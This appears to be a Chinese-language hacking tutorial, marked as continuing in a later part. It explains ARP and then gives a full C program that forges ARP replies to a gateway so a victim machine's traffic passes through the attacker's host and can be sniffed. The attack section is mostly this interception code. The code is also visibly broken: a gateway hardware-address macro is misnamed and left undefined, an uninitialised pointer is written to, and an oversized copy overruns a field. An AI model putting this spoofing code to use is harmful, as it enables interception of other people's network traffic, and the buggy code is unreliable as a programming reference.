要求的专业知识:
一: 精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传
输层,应用层。精通每一层的协议,数据报格式。精通网络拓扑结构,
第一层,第二层,第三层的网络互联,数据的转发和路由等。
二: 精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉
UNIX/LINUX系统操作,熟悉著名服务的基本配置,特性及使用的端口
号。熟悉经典网络命令的使用,如:netstat,ping,traceroute,
netcat,arp等。
三: 精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。
掌握数据库与WEB语言的结合使用。
我写到此处,假设你是完全理解局域网的。不过还是引用一段LionD8的文字吧:现在我们就用实例来模拟一下局域网传输的全过程。现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎 么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自 己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先 察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。
计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。
还记得前面说过的交换式局域网吗,为了可以在这样的局域网里进行sniffer,我们不
得不进行ARP欺骗。
现在假设有这样一个局域网,不管是交换机或是路由做交换设备都可以。我们自己的机
器的IP是192.168.1.7,交换设备的内部IP是192.168.1.1,也就是网关的地址。还有一台
IP是192.168.1.100的机器,就是victim啦,我们想sniffer,就要让victim机器的所有
数据报经过我们的机器192.168.1.7来转发,那么我们就可以用前面写过的sniffer程序截
获信息了。
我们给交换设备发一个ARP应答,只要把ARP数据报的发送端IP字段填成victim的IP
即可(这个字段原本应该是本机的IP:192.168.1.7)。
本程序只能在Linux上面运行,使用了SOCK_PACKET,不过现在应该用:
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
packet_socket = socket(PF_PACKET, SOCK_RAW, protocol);
来代替比较好。
24-43是完整的ARP数据报结构定义,这是我们自己定义的。不过根据RFC826的定义,
必须要如此定义。
43行加了18个字节的0,这是为了把数据报长度填充到以太网数据要求的最小长度:46字节。
如果你看不懂这个程序,那你应该先想办法达到我上面说明的专业要求的第一项。
1 /* writed by kf701
2 * 2005-4-12
3 * hefei
4 * kf_701@21cn.com
5 */
6 #include<sys/socket.h>
7 #include<netinet/in.h>
8 #include<arpa/inet.h>
9 #include<sys/types.h>
10 /* #include<linux/if_ether.h> */
11
12 #include<stdio.h>
13 #include<stdlib.h>
14 #include<string.h>
15 #include<ctype.h>
16
17 /* ETH_P_ARP=0x0806,defined in linux/if_ether.h */
18 #define SWITCH_IP "192.168.1.1"
19 #define VICTIM_IP "192.168.1.100"
20 #define LOCAL_HW "00:30:1B:36:69:ED"
21 #define SWITCH_IP "00:0A:EB:DB:FF:24"
22 #define DEVICE "eth0"
23
24 struct ether_header{
25 unsigned char ether_dhost[6]; /* destination eth addr */
26 unsigned char ether_shost[6]; /* source ether addr */
27 unsigned short ether_type; /* packet type ID field */
28 };
29 struct arp_header{
30 unsigned short int ar_hrd; /* Format of hardware address. */
31 unsigned short int ar_pro; /* Format of protocol address. */
32 unsigned char ar_hln; /* Length of hardware address. */
33 unsigned char ar_pln; /* Length of protocol address. */
34 unsigned short int ar_op; /* ARP opcode (command). */
35 unsigned char __ar_sha[6]; /* Sender hardware address. */
36 unsigned char __ar_sip[4]; /* Sender IP address. */
37 unsigned char __ar_tha[6]; /* Target hardware address. */
38 unsigned char __ar_tip[4]; /* Target IP address. */
39 };
40 struct arp_packet{
41 struct ether_header ethhdr;
42 struct arp_header arphdr;
43 unsigned char padding[18]; /* filled with 0 */
44 };
45 /* arp reply:
46 * op = 2
47 * ethhdr.ether_dhost = arphdr.__ar_tha = switch hard addr
48 * ethhdr.ether_shost = arphdr.__ar_sha = local hard addr
49 * arphdr.__ar_tip = switch ip
50 * arphdr.__ar_sip = victim ip
51 */
52 #define FRAME_TYPE 0x0806 /* arp=0x0806,rarp=0x8035 */
53 #define HARD_TYPE 1 /* ethernet is 1 */
54 #define PROTO_TYPE 0x0800 /* IP is 0x0800 */
55 #define OP_CODE 2 /* arp=1/2,rarp=3/4 */
56
57 void set_ip_addr(char *,char *);
58 void set_hw_addr(char *,char *);
59
60 int main(int argc,char **argv)
61 {
62 int sockfd;
63 struct arp_packet arp;
64 struct sockaddr sa;
65
66 sockfd = socket(AF_INET,SOCK_PACKET,htons(0x0806));
67 if(sockfd < 0)
68 perror("socket error"),exit(1);
69
70 /* init arp packet */
71 arp.ethhdr.ether_type = htons(FRAME_TYPE);
72 arp.arphdr.ar_hrd = htons(HARD_TYPE);
73 arp.arphdr.ar_pro = htons(PROTO_TYPE);
74 arp.arphdr.ar_op = OP_CODE;
75 arp.arphdr.ar_hln = 6;
76 arp.arphdr.ar_pln = 4;
77 set_hw_addr(arp.ethhdr.ether_dhost,SWITCH_HW);
78 set_hw_addr(arp.ethhdr.ether_shost,LOCAL_HW);
79 set_hw_addr(arp.arphdr.__ar_tha,SWITCH_HW);
80 set_hw_addr(arp.arphdr.__ar_sha,LOCAL_HW);
81 set_ip_addr(arp.arphdr.__ar_tip,SWITCH_IP);
82 set_ip_addr(arp.arphdr.__ar_sip,VICTIM_IP);
83 bzero(arp.padding,18);
84
85 /* send arp reply packet */
86 strcpy(sa.sa_data,DEVICE);
87 if(sendto(sockfd,&arp,sizeof(arp),0,&sa,sizeof(sa))<0)
88 perror("sendto error"),exit(1);
89 /* main return */
90 exit(0);
91 }
92
93 void set_hw_addr (char *buf, char *str)
94 {
95 int i;
96 char c, val;
97 for(i = 0; i < 6; i++){
98 if (!(c = tolower(*str++)))
99 perror("Invalid hardware address"),exit(1);
100 if (isdigit(c))
101 val = c - '0';
102 else if (c >= 'a' && c <= 'f')
103 val = c-'a'+10;
104 else
105 perror("Invalid hardware address"),exit(1);
106 *buf = val << 4;
107 if (!(c = tolower(*str++)))
108 perror("Invalid hardware address"),exit(1);
109 if (isdigit(c))
110 val = c - '0';
111 else if (c >= 'a' && c <= 'f')
112 val = c-'a'+10;
113 else
114 perror("Invalid hardware address"),exit(1);
115 *buf++ |= val;
116 if (*str == ':')
117 str++;
118 }
119 }
120
121 void set_ip_addr(char *buf,char *str)
122 {
123 struct in_addr *addr;
124 addr->s_addr = inet_addr(str);
125 memcpy(buf,addr,6);
126 return;
127 }
主函数很短,主要的代码是前面的结构定义。如果你先前就知道ARP结构,那
程序就没有任何要解释的地方了。
*****待续*****